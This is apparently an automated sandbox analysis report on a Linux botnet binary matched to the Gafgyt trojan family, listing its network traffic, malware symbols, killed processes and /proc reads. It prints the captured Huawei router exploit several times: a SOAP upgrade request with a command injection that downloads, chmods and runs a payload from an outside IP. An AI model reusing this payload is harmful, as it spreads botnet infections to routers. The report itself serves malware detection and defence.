Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 178.148.201.224
Source: unknown	TCP traffic detected without corresponding DNS query: 41.40.220.161
Source: unknown	TCP traffic detected without corresponding DNS query: 157.112.96.45
Source: unknown	TCP traffic detected without corresponding DNS query: 41.48.114.11
Source: unknown	TCP traffic detected without corresponding DNS query: 13.249.1.223
Source: unknown	TCP traffic detected without corresponding DNS query: 131.163.224.134
Source: unknown	TCP traffic detected without corresponding DNS query: 72.37.108.33
Source: unknown	TCP traffic detected without corresponding DNS query: 41.150.240.9
Source: unknown	TCP traffic detected without corresponding DNS query: 197.125.36.165
Source: unknown	TCP traffic detected without corresponding DNS query: 41.43.186.236
Source: unknown	TCP traffic detected without corresponding DNS query: 41.218.43.22
Source: unknown	TCP traffic detected without corresponding DNS query: 157.207.113.167
Source: unknown	TCP traffic detected without corresponding DNS query: 197.82.23.2
Source: unknown	TCP traffic detected without corresponding DNS query: 157.163.82.63
Source: unknown	TCP traffic detected without corresponding DNS query: 86.153.27.5
Source: unknown	TCP traffic detected without corresponding DNS query: 157.122.232.18
Source: unknown	TCP traffic detected without corresponding DNS query: 41.9.90.109
Source: unknown	TCP traffic detected without corresponding DNS query: 157.33.53.47
Source: unknown	TCP traffic detected without corresponding DNS query: 41.138.50.52
Source: unknown	TCP traffic detected without corresponding DNS query: 41.250.61.26
Source: unknown	TCP traffic detected without corresponding DNS query: 41.85.27.163
Source: unknown	TCP traffic detected without corresponding DNS query: 197.158.41.207
Source: unknown	TCP traffic detected without corresponding DNS query: 157.27.17.211
Source: unknown	TCP traffic detected without corresponding DNS query: 41.57.191.212
Source: unknown	TCP traffic detected without corresponding DNS query: 197.155.243.255
Source: unknown	TCP traffic detected without corresponding DNS query: 178.180.217.139
Source: unknown	TCP traffic detected without corresponding DNS query: 197.239.83.143
Source: unknown	TCP traffic detected without corresponding DNS query: 157.191.204.233
Source: unknown	TCP traffic detected without corresponding DNS query: 200.178.36.191
Source: unknown	TCP traffic detected without corresponding DNS query: 41.57.213.68
Source: unknown	TCP traffic detected without corresponding DNS query: 79.80.95.236
Source: unknown	TCP traffic detected without corresponding DNS query: 197.106.250.98
Source: unknown	TCP traffic detected without corresponding DNS query: 41.0.177.131
Source: unknown	TCP traffic detected without corresponding DNS query: 197.179.109.121
Source: unknown	TCP traffic detected without corresponding DNS query: 157.250.108.45
Source: unknown	TCP traffic detected without corresponding DNS query: 197.90.180.15
Source: unknown	TCP traffic detected without corresponding DNS query: 197.211.236.44
Source: unknown	TCP traffic detected without corresponding DNS query: 197.64.57.120
Source: unknown	TCP traffic detected without corresponding DNS query: 197.206.87.132
Source: unknown	TCP traffic detected without corresponding DNS query: 157.194.122.132
Source: unknown	TCP traffic detected without corresponding DNS query: 157.216.136.252
Source: unknown	TCP traffic detected without corresponding DNS query: 197.163.22.217
Source: unknown	TCP traffic detected without corresponding DNS query: 41.164.223.182
Source: unknown	TCP traffic detected without corresponding DNS query: 197.7.217.217
Source: unknown	TCP traffic detected without corresponding DNS query: 157.79.130.115
Source: unknown	TCP traffic detected without corresponding DNS query: 41.118.201.145
Source: unknown	TCP traffic detected without corresponding DNS query: 157.148.71.191
Source: unknown	TCP traffic detected without corresponding DNS query: 126.123.161.85
Source: unknown	TCP traffic detected without corresponding DNS query: 157.95.103.227
Source: unknown	TCP traffic detected without corresponding DNS query: 157.168.143.224

Source: unknown

DNS traffic detected: queries for: botnet.nguyennghi.info

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 458Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 38 38 2e 32 34 34 2e 31 38 39 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: bot.arm7-20240324-1846.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: bot.arm7-20240324-1846.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: bot.arm7-20240324-1846.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6258.1.00007f9d88017000.00007f9d8802e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: bot.arm7-20240324-1846.elf PID: 6258, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Contains symbols with names commonly found in malware

Source: ELF static info symbol of initial sample	Name: attack.c
Source: ELF static info symbol of initial sample	Name: attack_get_opt_int
Source: ELF static info symbol of initial sample	Name: attack_get_opt_ip
Source: ELF static info symbol of initial sample	Name: attack_init
Source: ELF static info symbol of initial sample	Name: attack_kill_all
Source: ELF static info symbol of initial sample	Name: attack_method_nudp
Source: ELF static info symbol of initial sample	Name: attack_method_stdhex
Source: ELF static info symbol of initial sample	Name: attack_method_tcp
Source: ELF static info symbol of initial sample	Name: attack_ongoing
Source: ELF static info symbol of initial sample	Name: attack_parse

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 904, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 910, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 912, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 918, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 1207, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 2074, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 6289, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 6290, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 6291, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 6294, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 6299, result: successful	Jump to behavior

Source: bot.arm7-20240324-1846.elf

ELF static info symbol of initial sample: __gnu_unwind_execute

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.188.244.189 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: /proc/proc/%d/cmdlinepgrepwgetcurlpspkillkillallftptftptop/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-serverusr/shellmnt/sys/bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetssh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt/hrm -rf && mkdir ; > && mv ; chmod 777 3f
Source: Initial sample	String containing 'busybox' found: bin/busybox
Source: Initial sample	String containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/watchdog/bin/systemd

Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 904, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 910, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 912, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 918, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 1207, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 2074, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 6289, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 6290, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 6291, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 6294, result: successful	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	SIGKILL sent: pid: 6299, result: successful	Jump to behavior

Source: bot.arm7-20240324-1846.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6258.1.00007f9d88017000.00007f9d8802e000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: bot.arm7-20240324-1846.elf PID: 6258, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/1025@9/0

Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/6231/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1344/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1465/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1586/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1463/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1900/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/491/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/252/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/253/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/254/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/4508/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/255/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/256/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1599/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/257/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1477/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/379/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1476/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/4505/cmdline	Jump to behavior
Source: /tmp/bot.arm7-20240324-1846.elf (PID: 6268)	File opened: /proc/2208/cmdline	Jump to behavior
